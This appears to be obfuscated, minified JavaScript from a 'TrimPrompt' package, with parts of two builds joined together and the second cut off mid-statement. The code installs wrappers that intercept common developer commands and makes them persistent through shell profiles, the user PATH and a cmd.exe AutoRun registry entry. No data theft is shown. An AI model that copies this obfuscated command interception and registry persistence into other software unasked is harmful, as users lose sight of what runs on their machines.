0updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','yarn','readdirSync',';\x22\x20+\x20$env:PATH\x0a','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','5582KQTwKO','77rdPRaz',':$PATH\x22\x0a','-NoProfile','prototype','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','New-Item\x20-Path\x20\x27','tree','@echo\x20off','__esModule','installShims','push','1246264aozWvb','\x20%*','.profile','755','\x27,\x20\x27User\x27)','docker','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','\x0aexport\x20PATH=\x22','map','ruff','glab','852FmUPoF','Failed\x20to\x20uninstall\x20shims:\x20','cargo','replace','hasOwnProperty','existsSync','17165zKifVt','shims','trim.cmd'];a0_0x4566=function(){return _0x4d8516;};return a0_0x4566();}function collectPowerShellProfiles(){const _0x661122=a0_0x370065,_0x8eface=getExecSync(),_0x434830=[],_0x142b2e=[['powershell',_0x661122(0xc4)],[_0x661122(0xae),_0x661122(0xba)]];try{_0x8eface(_0x661122(0x94),{'stdio':_0x661122(0x9b)}),_0x142b2e[_0x661122(0x6f)]([_0x661122(0xa5),'$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x856b6,_0x2c5136]of _0x142b2e){try{const _0x5778f6=_0x8eface(_0x856b6+_0x661122(0xb3)+_0x2c5136+'\x22',{'encoding':_0x661122(0xa2)})[_0x661122(0xcd)]();_0x5778f6&&!_0x434830['some'](_0x3a4875=>_0x3a4875[_0x661122(0xc2)]()===_0x5778f6[_0x661122(0xc2)]())&&_0x434830[_0x661122(0x6f)](_0x5778f6);}catch{}}return _0x434830;}function getBashProfilesWindows(){const _0x1a0944=a0_0x370065,_0x34c202=os['homedir']();return[_0x1a0944(0xb2),_0x1a0944(0xad)][_0x1a0944(0x78)](_0x4a81a5=>path[_0x1a0944(0x9c)](_0x34c202,_0x4a81a5));}function getBroadcastCommand(){const _0xb0cf14=a0_0x370065;return _0xb0cf14(0x96);}function a0_0x1b8e(_0x4a3307,_0x5438ae){_0x4a3307=_0x4a3307-0x6c;const _0x4566d7=a0_0x4566();let _0x1b8e32=_0x4566d7[_0x4a3307];return _0x1b8e32;}function installShims(){const _0x48191c=a0_0x370065,_0x56694e=path[_0x48191c(0x9c)](os[_0x48191c(0xc8)](),_0x48191c(0x8e),_0x48191c(0x82));try{!fs[_0x48191c(0x80)](_0x56694e)&&fs[_0x48191c(0xce)](_0x56694e,{'recursive':!![]});const _0x9c82f8=os[_0x48191c(0xcc)]()===_0x48191c(0x8b);for(const _0x3d9ae6 of SHIMMED_COMMANDS){if(_0x9c82f8){const _0x4a399b=path[_0x48191c(0x9c)](_0x56694e,_0x3d9ae6+_0x48191c(0xa8)),_0x1a1c63=process.env.APPDATA?path[_0x48191c(0x9c)](process.env.APPDATA,'npm'):'',_0x93d599=_0x1a1c63?_0x48191c(0xb7)+path['join'](_0x1a1c63,_0x48191c(0x83))+'\x22':_0x48191c(0xa9),_0x5f486a=[_0x48191c(0x6c),_0x93d599+'\x20(','\x20\x20trim\x20'+_0x3d9ae6+_0x48191c(0x71),_0x48191c(0x93),_0x48191c(0x95)+_0x56694e+';=%\x22','\x20\x20'+_0x3d9ae6+'\x20%*',')'][_0x48191c(0x9c)]('\x0d\x0a')+'\x0d\x0a';fs[_0x48191c(0x90)](_0x4a399b,_0x5f486a,_0x48191c(0xa2));const _0x35a9f2=path[_0x48191c(0x9c)](_0x56694e,_0x3d9ae6+'.ps1'),_0x41f389=_0x48191c(0xc1)+_0x3d9ae6+_0x48191c(0xd8)+_0x3d9ae6+'\x20@args\x20}\x0a';fs[_0x48191c(0x90)](_0x35a9f2,_0x41f389,_0x48191c(0xa2));const _0xc4add3=path[_0x48191c(0x9c)](_0x56694e,_0x3d9ae6),_0x2377ae=_0x56694e[_0x48191c(0x7e)](/\\/g,'/')[_0x48191c(0x7e)](/^([A-Za-z]):/,(_0x367c37,_0x264c4c)=>'/'+_0x264c4c['toLowerCase']()),_0x3c2ea8='#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20'+_0x3d9ae6+_0x48191c(0xd7)+_0x2377ae+_0x48191c(0xa7)+_0x3d9ae6+_0x48191c(0xaa);fs['writeFileSync'](_0xc4add3,_0x3c2ea8,_0x48191c(0xa2));}else{const _0x47f65f=path[_0x48191c(0x9c)](_0x56694e,_0x3d9ae6),_0x27329f=_0x48191c(0x9d)+_0x3d9ae6+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x3d9ae6+_0x48191c(0xaa);fs[_0x48191c(0x90)](_0x47f65f,_0x27329f,'utf8'),fs['chmodSync'](_0x47f65f,_0x48191c(0x73));}}let _0x445e2a=![],_0x46f9bd='';if(_0x9c82f8)try{const _0x4882af=getExecSync(),_0x2c476f='\x0a#\x20'+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x56694e+_0x48191c(0xdf),_0x3af852=collectPowerShellProfiles();for(const _0x1e1a5f of _0x3af852){ensureProfileContains(_0x1e1a5f,_0x56694e,_0x2c476f);}try{const _0x5570d3=getExecFileSync(),_0x3b65e3=_0x48191c(0xb7)+_0x56694e+_0x48191c(0x85)+_0x56694e+_0x48191c(0x8a),_0x3bfac3=_0x48191c(0xb9);let _0x1451a6='';try{const _0x1b91d0=_0x48191c(0x91)+_0x3bfac3+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}';_0x1451a6=_0x5570d3(_0x48191c(0xb6),['-NoProfile',_0x48191c(0xd5),_0x1b91d0],{'encoding':_0x48191c(0xa2),'stdio':[_0x48191c(0x84),_0x48191c(0x84),'ignore']})[_0x48191c(0xcd)]();}catch{}if(!_0x1451a6['includes'](_0x56694e)){const _0x5643ac=_0x1451a6?_0x1451a6+'\x20&\x20'+_0x3b65e3:_0x3b65e3,_0x402281=_0x48191c(0xe8)+_0x3bfac3+'\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27'+_0x3bfac3+_0x48191c(0xe7)+_0x5643ac+'\x27';_0x5570d3('powershell.exe',[_0x48191c(0xe5),_0x48191c(0xd5),_0x402281],{'stdio':'ignore'});}}catch{}try{const _0x15f23f=_0x56694e[_0x48191c(0x7e)](/\\/g,'/')[_0x48191c(0x7e)](/^([A-Za-z]):/,(_0x45f5a7,_0x22850b)=>'/'+_0x22850b['toLowerCase']()),_0x48dc57=_0x48191c(0xaf)+PROFILE_MARKER+_0x48191c(0x77)+_0x15f23f+':$PATH\x22\x0a',_0x181db4=getBashProfilesWindows();let _0x18ce3c=![];for(const _0x3a8f26 of _0x181db4){fs['existsSync'](_0x3a8f26)&&(ensureProfileContains(_0x3a8f26,_0x15f23f,_0x48dc57),_0x18ce3c=!![]);}!_0x18ce3c&&ensureProfileContains(_0x181db4[0x0],_0x15f23f,_0x48dc57);}catch{}const _0x3e3664=_0x48191c(0xdb),_0xf2e8cb=_0x4882af('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x3e3664+'\x22',{'encoding':_0x48191c(0xa2),'stdio':['pipe',_0x48191c(0x84),_0x48191c(0x9b)]})[_0x48191c(0xcd)]();if(!_0xf2e8cb['includes'](_0x56694e)){const _0x11b023=_0x56694e+';'+_0xf2e8cb,_0x5bba0d=_0x11b023[_0x48191c(0x7e)](/'/g,'\x27\x27'),_0x5b7b2a='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x5bba0d+_0x48191c(0x74);_0x4882af('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x5b7b2a+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x48191c(0x9b)});}const _0x386cbf=path['join'](process.env.APPDATA||'',_0x48191c(0xa4),_0x48191c(0x98));if(fs['existsSync'](_0x386cbf))try{fs[_0x48191c(0xb0)](_0x386cbf);}catch{}_0x445e2a=!![];}catch(_0x476b43){_0x46f9bd=_0x48191c(0xe0)+_0x56694e;}else try{const _0x17259f='export\x20PATH=\x22'+_0x56694e+_0x48191c(0xe4),_0x26d75d=os[_0x48191c(0xc8)](),_0x415947=[_0x48191c(0xb2),_0x48191c(0xd3),'.bash_profile','.profile'];let _0x8c9870=![];for(const _0x855653 of _0x415947){const _0x196314=path['join'](_0x26d75d,_0x855653);fs[_0x48191c(0x80)](_0x196314)&&(ensureProfileContains(_0x196314,_0x56694e,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x17259f),_0x8c9870=!![]);}if(!_0x8c9870){const _0x37dd62=path[_0x48191c(0x9c)](_0x26d75d,_0x48191c(0xb2));ensureProfileContains(_0x37dd62,_0x56694e,_0x48191c(0xaf)+PROFILE_MARKER+'\x0a'+_0x17259f);}_0x445e2a=!![];}catch(_0x14c732){_0x46f9bd=_0x48191c(0xe1)+_0x56694e+_0x48191c(0xb1);}const _0x19cd0a='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS[_0x48191c(0xca)]+_0x48191c(0xd4),_0x3ce50c=_0x445e2a?_0x19cd0a+_0x48191c(0xdc):_0x19cd0a+'[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x46f9bd;return{'success':!![],'pathDir':_0x56694e,'message':_0x3ce50c};}catch(_0x4a30b1){return{'success':![],'pathDir':_0x56694e,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x4a30b1[_0x48191c(0xbc)]};}}function uninstallShims(){const _0xd88f05=a0_0x370065,_0x5e6fce=path[_0xd88f05(0x9c)](os['homedir'](),'.trimprompt',_0xd88f05(0x82)),_0x4c4bf1=os[_0xd88f05(0xcc)]()===_0xd88f05(0x8b);try{if(_0x4c4bf1){const _0x582231=getExecSync();try{const _0x3ad249=getExecFileSync(),_0x5c217e=_0xd88f05(0xb9),_0x59c374=_0xd88f05(0x91)+_0x5c217e+_0xd88f05(0xbd),_0x1cd015=_0x3ad249(_0xd88f05(0xb6),['-NoProfile',_0xd88f05(0xd5),_0x59c374],{'encoding':_0xd88f05(0xa2),'stdio':['pipe',_0xd88f05(0x84),_0xd88f05(0x9b)]})[_0xd88f05(0xcd)]();if(_0x1cd015[_0xd88f05(0xa0)](_0x5e6fce)){const _0x38d91d=_0x1cd015['split']('\x20&\x20')[_0xd88f05(0xc3)](_0x58164e=>!_0x58164e[_0xd88f05(0xa0)](_0x5e6fce));if(_0x38d91d[_0xd88f05(0xca)]===0x0){const _0x4664d2=_0xd88f05(0x8c)+_0x5c217e+_0xd88f05(0x76);_0x3ad249(_0xd88f05(0xb6),[_0xd88f05(0xe5),_0xd88f05(0xd5),_0x4664d2],{'stdio':'ignore'});}else{const _0x45c48a=_0x38d91d[_0xd88f05(0x9c)]('\x20&\x20'),_0x59afd4=_0xd88f05(0x8f)+_0x5c217e+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0x45c48a+'\x27';_0x3ad249(_0xd88f05(0xb6),['-NoProfile',_0xd88f05(0xd5),_0x59afd4],{'stdio':_0xd88f05(0x9b)});}}}catch{}try{const _0x2e633b=collectPowerShellProfiles();for(const _0x21bfad of _0x2e633b){removeProfileBlock(_0x21bfad,PROFILE_MARKER);}}catch{}try{for(const _0x11c4ea of getBashProfilesWindows()){removeProfileBlock(_0x11c4ea,PROFILE_MARKER);}}catch{}try{const _0x1df123='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x3b2d86=_0x582231(_0xd88f05(0xda)+_0x1df123+'\x22',{'encoding':_0xd88f05(0xa2),'stdio':[_0xd88f05(0x84),_0xd88f05(0x84),'ignore']})[_0xd88f05(0xcd)]();if(_0x3b2d86['includes'](_0x5e6fce)){const _0x435949=_0x3b2d86[_0xd88f05(0xc7)](';')['filter'](_0x3ebec6=>_0x3ebec6[_0xd88f05(0xcd)]()[_0xd88f05(0xc2)]()!==_0x5e6fce[_0xd88f05(0xc2)]())[_0xd88f05(0x9c)](';'),_0x17c0a3=_0x435949[_0xd88f05(0x7e)](/'/g,'\x27\x27'),_0x13d3ab=_0xd88f05(0x86)+_0x17c0a3+_0xd88f05(0x74);_0x582231(_0xd88f05(0xda)+_0x13d3ab+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0xd88f05(0x9b)});}}catch{}}else{const _0xc83450=os[_0xd88f05(0xc8)](),_0x5090e6=[_0xd88f05(0xb2),_0xd88f05(0xd3),_0xd88f05(0xad),_0xd88f05(0x72)];for(const _0x3f0a29 of _0x5090e6){removeProfileBlock(path['join'](_0xc83450,_0x3f0a29),PROFILE_MARKER);}}if(fs[_0xd88f05(0x80)](_0x5e6fce)){const _0x167ada=fs[_0xd88f05(0xde)](_0x5e6fce);for(const _0x3b65db of _0x167ada){fs[_0xd88f05(0xb0)](path[_0xd88f05(0x9c)](_0x5e6fce,_0x3b65db));}fs[_0xd88f05(0xb5)](_0x5e6fce);}return{'success':!![],'message':_0xd88f05(0x89)};}catch(_0x1b053e){return{'success':![],'message':_0xd88f05(0x7c)+_0x1b053e[_0xd88f05(0xbc)]};}}
|
|
1
|
+
'use strict';const a0_0x1c764b=a0_0x291f;(function(_0xa73ef,_0x17692e){const _0x3e9010=a0_0x291f,_0x2ca957=_0xa73ef();while(!![]){try{const _0x239b42=-parseInt(_0x3e9010(0x1d4))/0x1+-parseInt(_0x3e9010(0x185))/0x2*(parseInt(_0x3e9010(0x1dd))/0x3)+parseInt(_0x3e9010(0x1a5))/0x4*(parseInt(_0x3e9010(0x1cb))/0x5)+parseInt(_0x3e9010(0x186))/0x6*(-parseInt(_0x3e9010(0x1c8))/0x7)+-parseInt(_0x3e9010(0x1c5))/0x8*(parseInt(_0x3e9010(0x182))/0x9)+-parseInt(_0x3e9010(0x1a1))/0xa+parseInt(_0x3e9010(0x1ba))/0xb;if(_0x239b42===_0x17692e)break;else _0x2ca957['push'](_0x2ca957['shift']());}catch(_0x22fe2a){_0x2ca957['push'](_0x2ca957['shift']());}}}(a0_0x9d9b,0xee600));var __createBinding=this&&this[a0_0x1c764b(0x1cf)]||(Object[a0_0x1c764b(0x1a3)]?function(_0x3ee502,_0x479fc8,_0x1020e4,_0x440531){const _0x4769a0=a0_0x1c764b;if(_0x440531===undefined)_0x440531=_0x1020e4;var _0xcfbd65=Object[_0x4769a0(0x1cc)](_0x479fc8,_0x1020e4);(!_0xcfbd65||('get'in _0xcfbd65?!_0x479fc8[_0x4769a0(0x1a9)]:_0xcfbd65['writable']||_0xcfbd65[_0x4769a0(0x1f6)]))&&(_0xcfbd65={'enumerable':!![],'get':function(){return _0x479fc8[_0x1020e4];}}),Object[_0x4769a0(0x1d2)](_0x3ee502,_0x440531,_0xcfbd65);}:function(_0x10f3c5,_0x29b6bb,_0xfd3491,_0x297267){if(_0x297267===undefined)_0x297267=_0xfd3491;_0x10f3c5[_0x297267]=_0x29b6bb[_0xfd3491];}),__setModuleDefault=this&&this[a0_0x1c764b(0x18d)]||(Object[a0_0x1c764b(0x1a3)]?function(_0x2bb0ee,_0x444f25){const _0x4f1636=a0_0x1c764b;Object[_0x4f1636(0x1d2)](_0x2bb0ee,_0x4f1636(0x1c0),{'enumerable':!![],'value':_0x444f25});}:function(_0x4147b6,_0x538ee3){_0x4147b6['default']=_0x538ee3;}),__importStar=this&&this['__importStar']||(function(){var _0x3d8b4e=function(_0x339b57){const _0x1e618a=a0_0x291f;return _0x3d8b4e=Object[_0x1e618a(0x1d8)]||function(_0x2fb50d){const _0x33d235=_0x1e618a;var _0x4108b8=[];for(var _0x2d563f in _0x2fb50d)if(Object['prototype'][_0x33d235(0x1e4)][_0x33d235(0x18a)](_0x2fb50d,_0x2d563f))_0x4108b8[_0x4108b8[_0x33d235(0x19f)]]=_0x2d563f;return _0x4108b8;},_0x3d8b4e(_0x339b57);};return function(_0x82195d){const _0x5df124=a0_0x291f;if(_0x82195d&&_0x82195d[_0x5df124(0x1a9)])return _0x82195d;var _0x20fcea={};if(_0x82195d!=null){for(var _0x3375d7=_0x3d8b4e(_0x82195d),_0x20d70f=0x0;_0x20d70f<_0x3375d7[_0x5df124(0x19f)];_0x20d70f++)if(_0x3375d7[_0x20d70f]!=='default')__createBinding(_0x20fcea,_0x82195d,_0x3375d7[_0x20d70f]);}return __setModuleDefault(_0x20fcea,_0x82195d),_0x20fcea;};}());function a0_0x291f(_0x267cfb,_0x42dbd1){_0x267cfb=_0x267cfb-0x17f;const _0x9d9b7=a0_0x9d9b();let _0x291fb1=_0x9d9b7[_0x267cfb];return _0x291fb1;}Object['defineProperty'](exports,a0_0x1c764b(0x1a9),{'value':!![]}),exports['installShims']=installShims,exports[a0_0x1c764b(0x1e3)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1c764b(0x1c2))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls','tree','cat',a0_0x1c764b(0x1d6),a0_0x1c764b(0x1e9),'rg',a0_0x1c764b(0x1f2),a0_0x1c764b(0x1a0),'gh',a0_0x1c764b(0x1b6),a0_0x1c764b(0x1b1),a0_0x1c764b(0x1c9),a0_0x1c764b(0x18c),a0_0x1c764b(0x1b0),'yarn',a0_0x1c764b(0x1f3),a0_0x1c764b(0x188),a0_0x1c764b(0x19c),a0_0x1c764b(0x1e0),'pip3','go','find'],PROFILE_MARKER='TrimPrompt\x20Shims\x20PATH';function getExecSync(){return require('child_process')['execSync'];}function getExecFileSync(){const _0x54d329=a0_0x1c764b;return require(_0x54d329(0x1c3))[_0x54d329(0x1cd)];}function ensureProfileContains(_0x58eef6,_0x3a8dc2,_0x4b6248){const _0x42f335=a0_0x1c764b;try{const _0x1c1bdf=path[_0x42f335(0x1f4)](_0x58eef6);!fs['existsSync'](_0x1c1bdf)&&fs['mkdirSync'](_0x1c1bdf,{'recursive':!![]});if(fs[_0x42f335(0x1da)](_0x58eef6)){const _0x2ce997=fs[_0x42f335(0x183)](_0x58eef6,_0x42f335(0x1bd));if(_0x2ce997[_0x42f335(0x1ab)](_0x3a8dc2))return;fs[_0x42f335(0x184)](_0x58eef6,_0x4b6248,_0x42f335(0x1bd));}else fs[_0x42f335(0x1d9)](_0x58eef6,_0x4b6248,'utf8');}catch{}}function removeProfileBlock(_0x1ad8ca,_0x367992){const _0x94913f=a0_0x1c764b;try{if(!fs[_0x94913f(0x1da)](_0x1ad8ca))return;const _0x13ecac=fs[_0x94913f(0x183)](_0x1ad8ca,_0x94913f(0x1bd));if(!_0x13ecac['includes'](_0x367992))return;const _0x348364=_0x13ecac[_0x94913f(0x1ce)]('\x0a'),_0x3434d0=[];let _0x2626de=![];for(let _0x18c6f8=0x0;_0x18c6f8<_0x348364[_0x94913f(0x19f)];_0x18c6f8++){if(_0x348364[_0x18c6f8][_0x94913f(0x1ab)](_0x367992)){_0x2626de=!![];continue;}if(_0x2626de){_0x2626de=![];continue;}_0x3434d0['push'](_0x348364[_0x18c6f8]);}const _0x46ae3b=_0x3434d0[_0x94913f(0x1b9)]('\x0a')[_0x94913f(0x18e)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x1ad8ca,_0x46ae3b,_0x94913f(0x1bd));}catch{}}function collectPowerShellProfiles(){const _0x3e1895=a0_0x1c764b,_0x4542f5=getExecSync(),_0xa5f6a6=[],_0xc245f3=[[_0x3e1895(0x1df),'$PROFILE.CurrentUserCurrentHost'],[_0x3e1895(0x1df),'$PROFILE.CurrentUserAllHosts']];try{_0x4542f5(_0x3e1895(0x1eb),{'stdio':_0x3e1895(0x18f)}),_0xc245f3[_0x3e1895(0x1ee)]([_0x3e1895(0x19a),_0x3e1895(0x1a6)]);}catch{}for(const [_0x249f18,_0x44cbad]of _0xc245f3){try{const _0xb2cdc2=_0x4542f5(_0x249f18+_0x3e1895(0x1ea)+_0x44cbad+'\x22',{'encoding':_0x3e1895(0x1bd)})['trim']();_0xb2cdc2&&!_0xa5f6a6[_0x3e1895(0x191)](_0x176469=>_0x176469[_0x3e1895(0x195)]()===_0xb2cdc2[_0x3e1895(0x195)]())&&_0xa5f6a6[_0x3e1895(0x1ee)](_0xb2cdc2);}catch{}}return _0xa5f6a6;}function getBashProfilesWindows(){const _0x2c9daf=a0_0x1c764b,_0x21899b=os[_0x2c9daf(0x1e8)]();return[_0x2c9daf(0x1c7),_0x2c9daf(0x1bb)][_0x2c9daf(0x1db)](_0x498296=>path[_0x2c9daf(0x1b9)](_0x21899b,_0x498296));}function getBroadcastCommand(){const _0x338f1d=a0_0x1c764b;return _0x338f1d(0x18b);}function a0_0x9d9b(){const _0x1b4f28=['pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','rmdirSync',';=%\x22','push','\x20@args\x20}\x20else\x20{\x20&\x20',':$PATH\x22','\x20\x22$@\x22;\x20fi\x0a','ruff','kubectl','dirname','Remove-ItemProperty\x20-Path\x20\x27','configurable','\x27,\x20\x27User\x27)','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','.zshrc','17283366Sttdcz','readFileSync','appendFileSync','50JgSEsX','6FXaTMF','win32','docker','Failed\x20to\x20uninstall\x20shims:\x20','call','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','pnpm','__setModuleDefault','replace','ignore','if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','some','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','platform','-NoProfile','toLowerCase','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','\x20%*','pwsh','export\x20PATH=\x22','pytest','.trimprompt','chmodSync','length','git','5630400qndfdA','\x20@args\x20}\x0a','create','message','208604IxYDCl','$PROFILE.CurrentUserAllHosts','shims',':$PATH\x22\x0a','__esModule','Failed\x20to\x20install\x20shims:\x20','includes','-Command','\x20commands.\x0a\x0a','\x0aexport\x20PATH=\x22','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','npx','cargo','.ps1','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',';%PATH%\x22',';\x22\x20+\x20$env:PATH\x0a','glab','\x20&\x20','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','join','70778081KzGKxD','.bash_profile','\x0a#\x20','utf8','trim.ps1','filter','default','New-Item\x20-Path\x20\x27','path','child_process','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','8dgUIBn','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','.bashrc','8101247RCXVwa','npm','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','170QXthCQ','getOwnPropertyDescriptor','execFileSync','split','__createBinding','pipe','readdirSync','defineProperty','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','1732311TsHqGJ','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','read','trim','getOwnPropertyNames','writeFileSync','existsSync','map','powershell.exe','222969JmXutJ','powershell\x20-NoProfile\x20-Command\x20\x22','powershell','pip','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','if\x20exist\x20\x22','uninstallShims','hasOwnProperty','.profile','trim.cmd','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','homedir','grep','\x20-NoProfile\x20-Command\x20\x22'];a0_0x9d9b=function(){return _0x1b4f28;};return a0_0x9d9b();}function installShims(){const _0x9360f=a0_0x1c764b,_0x22f41f=path[_0x9360f(0x1b9)](os['homedir'](),_0x9360f(0x19d),'shims');try{!fs[_0x9360f(0x1da)](_0x22f41f)&&fs['mkdirSync'](_0x22f41f,{'recursive':!![]});const _0x54943b=os[_0x9360f(0x193)]()==='win32';for(const _0x5c5deb of SHIMMED_COMMANDS){if(_0x54943b){const _0xc651f=path[_0x9360f(0x1b9)](_0x22f41f,_0x5c5deb+'.cmd'),_0x55a490=process.env.APPDATA?path[_0x9360f(0x1b9)](process.env.APPDATA,'npm'):'',_0xbb6858=_0x55a490?_0x9360f(0x1e2)+path[_0x9360f(0x1b9)](_0x55a490,_0x9360f(0x1e6))+'\x22':_0x9360f(0x196),_0x4e6a89=['@echo\x20off',_0xbb6858+'\x20(','\x20\x20trim\x20'+_0x5c5deb+_0x9360f(0x199),')\x20else\x20(','\x20\x20set\x20\x22PATH=%PATH:'+_0x22f41f+_0x9360f(0x1ed),'\x20\x20'+_0x5c5deb+_0x9360f(0x199),')'][_0x9360f(0x1b9)]('\x0d\x0a')+'\x0d\x0a';fs['writeFileSync'](_0xc651f,_0x4e6a89,_0x9360f(0x1bd));const _0x38cfd4=path[_0x9360f(0x1b9)](_0x22f41f,_0x5c5deb+_0x9360f(0x1b2)),_0x1cc861=_0x9360f(0x190)+_0x5c5deb+_0x9360f(0x1ef)+_0x5c5deb+_0x9360f(0x1a2);fs[_0x9360f(0x1d9)](_0x38cfd4,_0x1cc861,_0x9360f(0x1bd));const _0x444b11=path[_0x9360f(0x1b9)](_0x22f41f,_0x5c5deb),_0x1de02d=_0x22f41f[_0x9360f(0x18e)](/\\/g,'/')[_0x9360f(0x18e)](/^([A-Za-z]):/,(_0x275aec,_0x2ca86f)=>'/'+_0x2ca86f[_0x9360f(0x195)]()),_0x14ea22='#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20'+_0x5c5deb+_0x9360f(0x1c6)+_0x1de02d+':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x5c5deb+'\x20\x22$@\x22;\x20fi\x0a';fs['writeFileSync'](_0x444b11,_0x14ea22,'utf8');}else{const _0x5a4db4=path[_0x9360f(0x1b9)](_0x22f41f,_0x5c5deb),_0x544cce=_0x9360f(0x1e7)+_0x5c5deb+_0x9360f(0x180)+_0x5c5deb+_0x9360f(0x1f1);fs[_0x9360f(0x1d9)](_0x5a4db4,_0x544cce,_0x9360f(0x1bd)),fs[_0x9360f(0x19e)](_0x5a4db4,'755');}}let _0x210f84=![],_0x5181d5='';if(_0x54943b)try{const _0x4822b1=getExecSync(),_0x3127de=_0x9360f(0x1bc)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x22f41f+_0x9360f(0x1b5),_0x11f612=collectPowerShellProfiles();for(const _0xfbb007 of _0x11f612){ensureProfileContains(_0xfbb007,_0x22f41f,_0x3127de);}try{const _0x3c21c9=getExecFileSync(),_0x3261e5=_0x9360f(0x1e2)+_0x22f41f+'\x22\x20set\x20\x22PATH='+_0x22f41f+_0x9360f(0x1b4),_0x1ff36d=_0x9360f(0x192);let _0x41b74a='';try{const 